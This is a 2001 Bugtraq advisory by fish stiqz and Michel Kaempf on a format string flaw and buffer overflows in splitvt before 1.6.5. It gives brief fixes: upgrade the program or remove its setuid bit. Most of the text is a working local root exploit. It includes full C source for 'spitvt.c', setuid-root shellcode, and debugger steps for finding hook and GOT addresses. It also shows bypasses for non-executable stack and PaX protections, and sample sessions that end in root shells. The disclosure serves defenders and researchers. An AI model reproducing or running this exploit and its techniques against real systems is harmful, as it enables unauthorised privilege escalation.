[LWN Logo]
[Timeline]
Date:         Sun, 14 Jan 2001 20:41:49 +0100
From: Michel Kaempf <maxx@MASTERSECURITY.FR>
Subject:      [MSY] Multiple vulnerabilities in splitvt
To: BUGTRAQ@SECURITYFOCUS.COM

---------------[ MasterSecuritY <www.mastersecurity.fr> ]---------------

----------------[ Multiple vulnerabilities in splitvt ]-----------------

------------------[ By fish stiqz <fish@analog.org> ]-------------------
---------[ And Michel "MaXX" Kaempf <maxx@mastersecurity.fr> ]----------

--[ 0x00 - Table of contents ] -----------------------------------------

0x01 - Overview
0x02 - Solutions
0x03 - Exploit

--[ 0x01 - Overview ]---------------------------------------------------

> Splitvt is a program that splits any vt100 compatible screen into
> two - an upper and lower window in which you can run two programs
> at the same time. Splitvt differs from screen in that while screen
> gives you multiple virtual screens, splitvt splits your screen into
> two fully visible windows. You can even use splitvt with screen to
> provide multiple split screens. This can be very handy when running
> over a modem, or for developing client-server applications or watching
> routine tasks as you work.

The latest splitvt versions are available via the web at:

http://www.devolution.com/~slouken/projects/splitvt/

Versions < 1.6.5 contain a format string vulnerability and numerous
buffer overflows. As splitvt is installed setuid root or setgid tty or
utmp on most systems, an attacker might be able to successfully exploit
one of these vulnerabilities and gain special privileges on the local
system.

Sam Lantinga <slouken@devolution.com>, the author, was contacted and a
patch fixing the exploitable and potential holes found in splitvt was
provided. He released a new splitvt version, 1.6.5, based on this patch.

--[ 0x02 - Solutions ]--------------------------------------------------

----[ Short-term solution ]---------------------------------------------

Remove the setuid or setgid bit from splitvt, because as mentioned in
the splitvt ANNOUNCE file:

> The set-uid bit is only for updating the utmp database and for
> changing ownership of its pseudo-terminals. It is not necessary for
> splitvt's operation.

Upgrade to splitvt 1.6.5, available at:

http://www.devolution.com/~slouken/projects/splitvt/

----[ Long-term solution ]----------------------------------------------

Permanently remove the setuid or setgid bit from splitvt, because
if splitvt appears to be a useful program, it was not designed with
security in mind, as revealed by the splitvt CHANGES file:

> Version 1.6.5
>     Security fixes by fish stiqz
>
> Version 1.6.4
>     Patched some security holes:
>         fixed buffer overflow in lock.c
>
> Version 1.6.3
>     Patched some security holes:
>         fixed sprintf overflow in parserc.c
>         fixed env label overflow in parserc.c
>         fixed env variable expansion overflow
>         added read access check in parserc.c
>         added chdir() access check in parserc.c
>         fixed sprintf overflow in vtmouse.c

--[ 0x03 - Exploit ]----------------------------------------------------

Although many of the discovered buffer overflows were exploitable, the
program described here exploits the format string vulnerability present
in the parserc.c module:

> sprintf(rcfile_buf, startupfile, home);

rcfile_buf is a malloced buffer, startupfile is a string provided to
splitvt by the user thanks to the -rcfile option, and home is a pointer
to the HOME environment variable.

----[ The downward spiral ]---------------------------------------------

The exploit should be portable and even work against systems protected
with StackGuard, StackShield, OpenWall, PaX or whatever. The current
version successfully exploits splitvt on every Linux system (i386,
sparc, etc), and should only need a small amount of changes in order to
work against different systems, like *BSD or SunOS for example. See the
"Portability" section below for more information.

The vulnerability looks like a classic format string vulnerability, and
it is, except one or two details. The *printf() functions read their
arguments on the stack, and in case of a format string vulnerability,
they read the addresses where they should store the number of characters
written so far (the %n arguments) on the stack. Here, the rcfile_buf
is located in the heap and not on the stack, and that is why the %n
arguments should already be present somewhere on the stack at the time
the guilty sprintf() call is performed. The exploit stores them among
the arguments passed to splitvt, so that they are located on the stack
and can contain nul characters.

The format string (startupfile) should therefore force sprintf() to
eat every single byte on the stack until it reaches the %n arguments,
located somewhere at the beginning of the stack. And the format string
should be built so that rcfile_buf cannot be overflowed, which could
happen because it was malloced to hold the format string, but not
the *converted* format string. The solution is to use %c, which is 2
bytes long, but only 1 byte long (one character) once converted. Thus
rcfile_buf will be big enough to hold the converted format string. And
because one %c is only 2 bytes long but actually eats 4 bytes on the
stack, the length of the whole format string is minimized.

----[ Further down the spiral ]-----------------------------------------

During the design of the exploit, lots of problems arose:

- On SlackWare for example, /bin/sh (bash) drops privileges before
actually spawning a shell. The exploit should therefore fix the
privileges before running a shell.

- The length modifier hh, described in printf(3), did not work correctly
on Linux i386 systems when used along with the n conversion specifier
(%hhn behaved just like %n). The latest libc release corrects this
behaviour, but not everyone runs the latest libc.

- Something strange is going on when passing very long arguments to
execve() on Linux sparc. Instead of complaining because of a too long
argument list like on Linux i386, execve() successfully starts the new
program, but some arguments passed to the program are overwritten, and
some environment variables are lost, but without any notification.

The conclusion was: in order to build a portable exploit, a flexible
mechanism, capable of overwriting an arbitrary number of arbitrary
integers in memory with arbitrary integers, was needed. The information
the exploit needs in order to successfully work are described in the
"fixme" section of the code:

- COMMAND: the command splitvt should run once the terminal split into
two windows (see below);

- HOME_VALUE: the value of the HOME environment variable (see below);

- SPLITVT: the location of the setuid or setgid splitvt binary
("/usr/bin/splitvt" on most systems);

- STACK: the beginning of the stack ((0xc0000000-4) on Linux i386,
(0xf0000000-8) on Linux sparc for example);

- n: an array where each entry indicates an integer type (short_int or
signed_char), a pointer to an integer to be overwritten (pointer) and
the integer which should be stored there (number) (see below).

Besides the "fixme" section, the exploit also needs to know how many
integers it should eat on the stack: its unique command line argument.

----[ Linux i386 ]------------------------------------------------------

- The first obvious exploitation method would be to overwrite a function
pointer somewhere in memory (__malloc_hook for example) with a pointer
to a shellcode located somewhere on the stack (the HOME environment
variable for example).

Here is how to find out the address of the __malloc_hook function
pointer:

$ cp /usr/bin/splitvt /tmp/splitvt
$ gdb /tmp/splitvt
(gdb) break getopt
(gdb) run
(gdb) p &__malloc_hook
0x40140cdc

Here is the corresponding "fixme" section:

/* <fixme> */
#define COMMAND "foobar"
#define HOME_VALUE \
    /* setuid( 0 ); */ \
    "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
    /* setgid( 0 ); */ \
    "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
    /* Aleph One :) */ \
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"
#define SPLITVT "/usr/bin/splitvt"
#define STACK (0xc0000000-4)
n_t n[] = {
    { short_int, (void *)(0x40140cdc+0),
        ((STACK-sizeof(SPLITVT)-sizeof(HOME_VALUE))&0x0000fffc) },
    { short_int, (void *)(0x40140cdc+2),
        ((STACK-sizeof(SPLITVT)-sizeof(HOME_VALUE))&0xffff0000)>>16 },
    { null }
};
/* </fixme> */

COMMAND is set to "foobar" because it does not matter, splitvt
will not be able to reach the part of the code which uses this
value. The __malloc_hook function pointer will be overwritten in
two passes (two short ints). The address of the shellcode (the HOME
environment variable) is computed so that it is 4 bytes aligned
(thus the &0x0000fffc) and split into two short ints. And the final
exploitation:

$ gcc -o spitvt spitvt.c
$ for i in `seq 8630 8670`; do echo $i; ./spitvt $i; done
8630
8631
8632
8633
8634
8635
8636
8637
8638
8639
8640
8641
8642
8643
8644
8645
8646
8647
sh-2.03# id
uid=0(root) gid=0(root)

- The previous method will not work on systems patched with Solar
Designer's non-executable stack patch. But at the beginning of the
rcfile_buf buffer, located somewhere in the heap, is stored the content
of the HOME environment variable. Thanks to ltrace for example, it is
possible to find out the address of rcfile_buf and to exploit splitvt on
patched systems:

$ cp /usr/bin/splitvt /tmp/splitvt
$ gdb /tmp/splitvt
(gdb) break getopt
(gdb) run
(gdb) p &__free_hook
0x255cd8

$ ltrace /tmp/splitvt 2>&1 | grep malloc
0x0805f958

/* <fixme> */
#define COMMAND "foobar"
#define HOME_VALUE \
    /* setuid( 0 ); */ \
    "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
    /* setgid( 0 ); */ \
    "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
    /* Aleph One :) */ \
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"
#define SPLITVT "/usr/bin/splitvt"
#define STACK (0xc0000000-4)
n_t n[] = {
    { short_int, (void *)(0x255cd8+0), /*0805*/0xf958 },
    { short_int, (void *)(0x255cd8+2), 0x0805/*f958*/ },
    { null }
};
/* </fixme> */

$ gcc -o spitvt spitvt.c
$ ./spitvt 8659
sh-2.03# id
uid=0(root) gid=0(root)

- The previous method will not work against systems patched with PaX.
Therefore the exploit has to use return-into-libc style attacks. For
example, the library call following the guilty sprintf() call is:

> open(rcfile_buf, O_RDONLY, 0)

Fortunately, O_RDONLY is equal to 0, so that, if the exploit manages to
replace the open() function with the execve() function, the previous
library call would actually result in execve(rcfile_buf, NULL, NULL).

The exploit should overwrite the GOT (Global Offset Table) entry of the
open() function with the address of the execve() function, and make
sure rcfile_buf contains a valid filename (rcfile_buf holds the HOME
environment variable and garbage (the converted %c characters)... thus
the exploit has to nul terminate the HOME string (thanks to a third
entry in the n array) in order to create a valid filename):

$ objdump -R /usr/bin/splitvt | grep open
08052f40

$ cp /usr/bin/splitvt /tmp/splitvt
$ gdb /tmp/splitvt
(gdb) break getopt
(gdb) run
(gdb) p execve
0x400ec178

$ ltrace /tmp/splitvt 2>&1 | grep malloc
0x0805f958

$ gcc -o /tmp/sh /tmp/sh.c
$ cat /tmp/sh.c
#include <unistd.h>
int main()
{
    char * argv[] = { "/bin/sh", NULL };
    setuid( 0 );
    setgid( 0 );
    execve( argv[0], argv, NULL );
    return( -1 );
}

/* <fixme> */
#define COMMAND "foobar"
#define HOME_VALUE "/tmp/sh"
#define SPLITVT "/usr/bin/splitvt"
#define STACK (0xc0000000-4)
n_t n[] = {
    { short_int, (void *)(0x08052f40 + 0), /*400e*/0xc178 },
    { short_int, (void *)(0x08052f40 + 2), 0x400e/*c178*/ },
    { signed_char, (void *)(0x0805f958 + sizeof(HOME_VALUE) - 1), 0 },
    { null }
};
/* </fixme> */

$ gcc -o spitvt spitvt.c
$ ./spitvt 8658
sh-2.03# id
uid=0(root) gid=0(root)

- But wait... thanks to splitvt, it is possible to obtain two root
shells for the price of one. The exploit has to make sure splitvt does
not drop the privileges before spawning the shells, by replacing the
call to setuid (or setgid, depending on the splitvt binary) with a
harmless call, to getuid for example:

$ objdump -R /usr/bin/splitvt | grep setuid
08052f78

$ objdump -T /usr/bin/splitvt | grep getuid
08049250

/* <fixme> */
#define COMMAND "/tmp/sh"
#define HOME_VALUE "foobar"
#define SPLITVT "/usr/bin/splitvt"
#define STACK (0xc0000000-4)
n_t n[] = {
    { short_int, (void *)(0x08052f78 + 0), /*0804*/0x9250 },
    { short_int, (void *)(0x08052f78 + 2), 0x0804/*9250*/ },
    { null }
};
/* </fixme> */

$ gcc -o spitvt spitvt.c
$ ./spitvt 8659

Gotcha!

- Another method, which will only work on systems where splitvt is
setuid root, is to replace the call to getuid() with a call to sync(), a
harmless function which always returns 0:

$ objdump -R /usr/bin/splitvt | grep getuid
08052f30

$ cp /usr/bin/splitvt /tmp/splitvt
$ gdb /tmp/splitvt
(gdb) break getopt
(gdb) run
(gdb) p sync
0x40105b80

/* <fixme> */
#define COMMAND "/bin/sh"
#define HOME_VALUE "foobar"
#define SPLITVT "/usr/bin/splitvt"
#define STACK (0xc0000000-4)
n_t n[] = {
    { short_int, (void *)(0x08052f30 + 0), /*4010*/0x5b80 },
    { short_int, (void *)(0x08052f30 + 2), 0x4010/*5b80*/ },
    { null }
};
/* </fixme> */

$ gcc -o spitvt spitvt.c
$ ./spitvt 8659

Gotcha!

----[ Linux sparc ]-----------------------------------------------------

The shellcode techniques (stack and heap) presented above work on Linux
sparc. The return-into-libc attacks however will not if applied directly
to the sparc architecture, because of the differences in the dynamic
linking process: on sparc, there is no GOT. When disassembling the
code corresponding to dynamically linked functions before the shared
libraries are loaded:

$ ls -l /usr/bin/splitvt
-rwxr-sr-x    1 root     utmp        50824 Jun 28  2000 /usr/bin/splitvt

$ cp /usr/bin/splitvt /tmp/splitvt
$ gdb /tmp/splitvt
(gdb) disass setgid
Dump of assembler code for function setgid:
0x2beac <setgid>:       sethi  %hi(0x48000), %g1
0x2beb0 <setgid+4>:     b,a   0x2bd8c <_IO_stdin_used+72780>
0x2beb4 <setgid+8>:     nop
End of assembler dump.
(gdb) disass getgid
Dump of assembler code for function getgid:
0x2c014 <getgid>:       sethi  %hi(0xa2000), %g1
0x2c018 <getgid+4>:     b,a   0x2bd8c <_IO_stdin_used+72780>
0x2c01c <getgid+8>:     nop
End of assembler dump.

The code of the setgid() and getgid() functions is exactly the same,
except the value of the second short int:

(gdb) x 0x2beac
0x2beac <setgid>:       0x03000120
(gdb) x 0x2c014
0x2c014 <getgid>:       0x03000288

If the exploit replaces 0x0120 at the address (0x2beac+2) with 0x0288,
splitvt should not drop the privileges before spawning the shells:

/* <fixme> */
#define COMMAND "/bin/sh"
#define HOME_VALUE "foobar"
#define SPLITVT "/usr/bin/splitvt"
#define STACK (0xf0000000-8)
n_t n[] = {
    { signed_char, (void *)(0x2beac+2), 0x02 },
    { signed_char, (void *)(0x2beac+3), 0x88 },
    { null }
};
/* </fixme> */

Because of the potential very long arguments described above in the
"Further down the spiral" section, the signed_char mechanism was used
instead of the short_int mechanism.

$ gcc -o spitvt spitvt.c
$ ./spitvt 8715
sh-2.04$ id
egid=43(utmp)

Gotcha!

----[ Portability ]-----------------------------------------------------

The exploit is already almost portable, but in order to work on
operating systems different from Linux, a few changes have to be made:
the stack layout has to be known, because sometimes 4 bytes and 16
bytes alignment is required (see the "Code" section below for more
information).

Therefore, each time the symbolic constant STACK appears, there is
something to adjust in the exploit. Help or pointers to documentation
concerning the initial stack layout on SunOS, Solaris, *BSD or whatever
would be greatly appreciated. Thanks!

----[ Code ]------------------------------------------------------------

/*
 * MasterSecuritY <www.mastersecurity.fr>
 *
 * spitvt.c - Local exploit for splitvt < 1.6.5
 * Copyright (C) 2001  fish stiqz <fish@analog.org>
 * Copyright (C) 2001  Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
 *
 * Updated versions of this exploit and the corresponding advisory will
 * be made available at:
 *
 * ftp://maxx.via.ecp.fr/spitvt/
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or (at
 * your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
 * USA
 */

#include <limits.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* array_of_strings_t */
typedef struct array_of_strings_s {
    size_t strings;
    char ** array;
} array_of_strings_t;

/* type_t */
typedef enum {
    short_int,
    signed_char,
    null
} type_t;

/* n_t */
typedef struct n_s {
    type_t type;
    void * pointer;
    int number;
} n_t;

/* <fixme> */
#define COMMAND ""
#define HOME_VALUE ""
#define SPLITVT ""
#define STACK ()
n_t n[] = {
    { null }
};
/* </fixme> */

unsigned long int eat;
array_of_strings_t aos_envp = { 0, NULL };
array_of_strings_t aos_argv = { 0, NULL };

/* array_of_strings() */
int array_of_strings( array_of_strings_t * p_aos, char * string )
{
    size_t strings;
    char ** array;

    if ( p_aos->strings == SIZE_MAX / sizeof(char *) ) {
        return( -1 );
    }
    strings = p_aos->strings + 1;

    array = realloc( p_aos->array, strings * sizeof(char *) );
    if ( array == NULL ) {
        return( -1 );
    }

    (p_aos->array = array)[ p_aos->strings++ ] = string;
    return( 0 );
}

#define HOME_KEY "HOME"
/* home() */
int home()
{
    char * home;
    unsigned int envp_home;
    unsigned int i;

    home = malloc( sizeof(HOME_KEY) + sizeof(HOME_VALUE) + (4-1) );
    if ( home == NULL ) {
        return( -1 );
    }

    strcpy( home, HOME_KEY"="HOME_VALUE );

    /* if HOME_VALUE holds a shellcode and is to be executed, 4 bytes
     * alignment is sometimes required (on sparc architectures for
     * example) */
    envp_home = STACK - sizeof(SPLITVT) - sizeof(HOME_VALUE);
    for ( i = 0; i < envp_home % 4; i++ ) {
        strcat( home, "X" );
    }

    return( array_of_strings(&aos_envp, home) );
}

/* shell() */
int shell()
{
    size_t size;
    unsigned int i;
    char * shell;
    char * string;

    size = 0;
    for ( i = 0; n[i].type != null; i++ ) {
        size += sizeof(void *);
    }

    shell = malloc( size + 3 + 1 );
    if ( shell == NULL ) {
        return( -1 );
    }

    for ( i = 0; n[i].type != null; i++ ) {
        *( (void **)shell + i ) = n[i].pointer;
    }

    /* since file is 16 bytes aligned on the stack, the following 3
     * characters padding ensures shell is 4 bytes aligned */
    for ( i = 0; i < 3; i++ ) {
        shell[ size + i ] = 'X';
    }

    shell[ size + i ] = '\0';

    for ( string = shell; string <= shell+size+i; string += strlen(string)+1 ) {
        if ( array_of_strings(&aos_argv, string) ) {
            return( -1 );
        }
    }

    return( 0 );
}

#define S "%s"
#define C "%c"
#define HN "%hn"
#define HHN "%hhn"
/* file() */
int file()
{
    size_t size;
    unsigned int i, j;
    char * file;
    int number;
    unsigned int argv_file;

    size = (sizeof(S)-1) + (eat * (sizeof(C)-1));
    for ( i = 0; n[i].type != null; i++ ) {
        switch ( n[i].type ) {
            case short_int:
                /* at most USHRT_MAX 'X's are needed */
                size += USHRT_MAX + (sizeof(HN)-1);
                break;

            case signed_char:
                /* at most UCHAR_MAX 'X's are needed */
                size += UCHAR_MAX + (sizeof(HHN)-1);
                break;

            case null:
            default:
                return( -1 );
        }
    }

    file = malloc( size + (16-1) + 1 );
    if ( file == NULL ) {
        return( -1 );
    }

    i = 0;

    memcpy( file + i, S, sizeof(S)-1 );
    i += sizeof(S)-1;

    for ( j = 0; j < eat; j++ ) {
        memcpy( file + i, C, sizeof(C)-1 );
        i += sizeof(C)-1;
    }

    /* initialize number to the number of characters written so far
     * (aos_envp.array[aos_envp.strings-2] corresponds to the HOME
     * environment variable) */
    number = strlen(aos_envp.array[aos_envp.strings-2])-sizeof(HOME_KEY) + eat;

    for ( j = 0; n[j].type != null; j++ ) {
        switch ( n[j].type ) {
            case short_int:
                while ( (short int)number != (short int)n[j].number ) {
                    file[ i++ ] = 'X';
                    number += 1;
                }
                memcpy( file + i, HN, sizeof(HN)-1 );
                i += sizeof(HN)-1;
                break;

            case signed_char:
                while ( (signed char)number != (signed char)n[j].number ) {
                    file[ i++ ] = 'X';
                    number += 1;
                }
                memcpy( file + i, HHN, sizeof(HHN)-1 );
                i += sizeof(HHN)-1;
                break;

            case null:
            default:
                return( -1 );
        }
    }

    /* in order to maintain a constant distance between the sprintf()
     * arguments and the splitvt shell argument, 16 bytes alignment is
     * sometimes required (for ELF binaries for example) */
    argv_file = STACK - sizeof(SPLITVT);
    for ( j = 0; aos_envp.array[j] != NULL; j++ ) {
        argv_file -= strlen( aos_envp.array[j] ) + 1;
    }
    argv_file -= i + 1;
    for ( j = 0; j < argv_file % 16; j++ ) {
        file[ i++ ] = 'X';
    }

    file[ i ] = '\0';

    return( array_of_strings(&aos_argv, file) );
}

/* main() */
int main( int argc, char * argv[] )
{
    /* eat */
    if ( argc != 2 ) {
        return( -1 );
    }
    eat = strtoul( argv[1], NULL, 0 );

    /* aos_envp */
    array_of_strings( &aos_envp, "TERM=vt100" );
    /* home() should always be called right before NULL is added to
     * aos_envp */
    if ( home() ) {
        return( -1 );
    }
    array_of_strings( &aos_envp, NULL );

    /* aos_argv */
    array_of_strings( &aos_argv, SPLITVT );
    array_of_strings( &aos_argv, "-upper" );
    array_of_strings( &aos_argv, COMMAND );
    array_of_strings( &aos_argv, "-lower" );
    array_of_strings( &aos_argv, COMMAND );
    /* shell() should always be called right before "-rcfile" is added
     * to aos_argv */
    if ( shell() ) {
        return( -1 );
    }
    array_of_strings( &aos_argv, "-rcfile" );
    /* file() should always be called right after "-rcfile" is added to
     * aos_argv and right before NULL is added to aos_argv */
    if ( file() ) {
        return( -1 );
    }
    array_of_strings( &aos_argv, NULL );

    /* execve() */
    execve( aos_argv.array[0], aos_argv.array, aos_envp.array );
    return( -1 );
}

--
MaXX